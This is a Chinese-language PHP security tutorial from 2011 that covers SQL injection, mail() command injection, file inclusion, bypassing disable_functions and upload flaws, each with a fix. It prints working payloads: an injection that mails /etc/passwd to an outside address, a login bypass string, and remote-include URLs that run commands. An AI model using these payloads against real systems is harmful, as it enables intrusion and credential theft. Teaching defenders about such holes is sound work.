PHP網(wǎng)站開(kāi)發(fā)過(guò)程的安全知識-PHP編程教程 |
作者:佚名 發(fā)布時(shí)間:2011-11-02 瀏覽:2473次 |
1、古老的欺騙SQL語(yǔ)句 在默認模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開(kāi)magic_quotes_gpc=on。 這樣所有從GET/POST/Cookie來(lái)的變量的單引號(')、雙引號(")、反斜杠backslash()以及空字元NUL (the null byte)都會(huì )被加上反斜杠,以使數據庫能夠正確查詢(xún)。 但是在php-4-RC2的時(shí)候引入了一個(gè)配置文件php.ini-optimized,這個(gè)優(yōu)化的php.ini卻是 magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會(huì )把php.ini-optimized拷到 /usr/local/lib/php.ini,這時(shí)就比較危險。象比較簡(jiǎn)單的驗證,假設沒(méi)有過(guò)濾必要的字符: select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]' 我們就可以在用戶(hù)框和密碼框輸入1‘ or 1='1通過(guò)驗證了。這是非常古董的方法了,這個(gè)語(yǔ)句會(huì ) 替換成這樣: select * from login where user='1' or 1='1' and pass='1' or 1='1' 因為or 1='1'成立,所以通過(guò)了。 解決的辦法最好就是過(guò)濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來(lái)的并且用在SQL 中的變量加一個(gè)自定義的函數: function gpc2sql($str) { if(get_magic_quotes_gpc()==1) return $str; else return addslashes($str); } 主要是為了你的程序能安全移植在各種系統里。 2、mail函數的第五個(gè)參數 在php-4.0.5的時(shí)候,mail函數引入了第五個(gè)參數,用來(lái)設置在實(shí)際發(fā)送郵件的時(shí)候增加額外的命令行參數,但是沒(méi)有很好的檢查特殊SHELL命令字符,所以出現執行命令的大問(wèn)題。就像手冊里的例子: mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM"); 這個(gè)是存在問(wèn)題的,如果$SERVER_NAME=;mail mb5u@mb5u.com < /etc/passwd就能把機器的密碼發(fā)送到我的信箱了。 這里提醒一下,php手冊里還有好幾個(gè)例子存在安全問(wèn)題的,大家實(shí)際使用的時(shí)候不要照搬,它只是演示函數的基本功能,理解了就可以了。 對于mail函數的這個(gè)問(wèn)題,最簡(jiǎn)單的我們就不用這個(gè)第五個(gè)參數,要使用就過(guò)濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行: extra_cmd=NULL 然后重新編譯。 3、UNIX版的require, include函數 win版本的require和include函數是不支持HTTP和FTP遠程文件包含的,而UNIX版本默認都是支持遠程包含文件。 require和include不管你是什么擴展名的,把你包含進(jìn)來(lái)就作為程序的一部分來(lái)執行。 我們在寫(xiě)程序的時(shí)候為了程序的模塊化,以及程序的可移植性,不可避免的用到很多require或include函數,而且有時(shí)用變量作為參數,比如:include("$something"); 如果這時(shí)用戶(hù)能控制$something參數,而這個(gè)參數又沒(méi)有過(guò)濾,那就慘拉。 首先可以看任何web用戶(hù)有讀權限的文件,假設這個(gè)程序叫http://victim/test.php,這樣我們就可以用如下 url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。 另外可以利用其遠程文件包含的功能執行命令。比如我在www.AAA.org下建立一個(gè)文件test.php,內容是: http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運行任 意的命令。 phpMyAdmin也出現了這個(gè)問(wèn)題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數判斷文件是否存在,而這個(gè)file_exist是不支持遠程文件的,所以上面第二種辦法無(wú)法直接使用。但是我們可以利用apache的日志功能,請求一個(gè)帶php代碼的url,這樣,something指定為apache的日志也可以執行命令了,但是apache的日志通常比較大,有太多雜亂信息。 http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執行命令的腳本上傳,會(huì )在服務(wù)器的文件上傳臨時(shí)目錄里產(chǎn)生php8Ta02I之類(lèi)的文件名,由于這時(shí)文件是存在的,所以能通過(guò)file_exist函數,從而執行上傳文件里的執行腳本。 所以對于include, require函數的使用一定要小心,特別是以包含的文件以參數指定這種方式,參數絕對不能讓用戶(hù)來(lái)控制。還有通過(guò)修改php.ini文件去掉遠程文件包含這個(gè)功能。這個(gè)在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來(lái)關(guān)閉。 4、disable_function 在php-4.0.1,php.ini里引入了一項功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數。 比如在php.ini里加上disable_functions = passthru exec system popen 那么在執行這些函數的時(shí)候只會(huì )提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒(méi)有辦法執行系統命令了。因為php采用了很多perl的特性,比如還可以用(`)來(lái)執行命令: $output = `ls -al`; echo " $output "; ?> 這個(gè)只有設成safe_mode才能避免,可是可惡的safe_mode實(shí)在是限制太多了,做其它事情也有些礙手礙腳。 5、file upload php文件上傳的問(wèn)題在文章http://www.mb5u.com/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個(gè)比較嚴重的問(wèn)題,一般我們要上傳的文件也會(huì )放在web目錄,所以容易給攻擊者得到系統的一些web用戶(hù)能讀的文件。 幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數了,用move_uploaded_file代替,它會(huì )檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個(gè)函數: function is_uploaded_file($filename) { if (!$tmp_file = get_cfg_var('upload_tmp_dir')) { $tmp_file = dirname(tempnam('', '')); } $tmp_file.='/'.basename($filename); return (ereg_replace('/ ', '/', $tmp_file) == $filename); } 這個(gè)漏洞在安全焦點(diǎn)呆了很久,只是在copy之前有很多驗證阿、判斷阿的語(yǔ)句,所以使之攻擊存在相當的難度。 還有,千萬(wàn)不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因為這些變量太容易被偽造了。 以上內容由寶雞網(wǎng)站建設公司、寶雞網(wǎng)絡(luò )公司---寶雞世紀網(wǎng)絡(luò )公司為您轉摘!我公司是寶雞地區專(zhuān)業(yè)的網(wǎng)站建設服務(wù)提供商,五年建站歷程、六百家客戶(hù)的選擇,值得信賴(lài)!咨詢(xún)熱線(xiàn)0917-3535180
|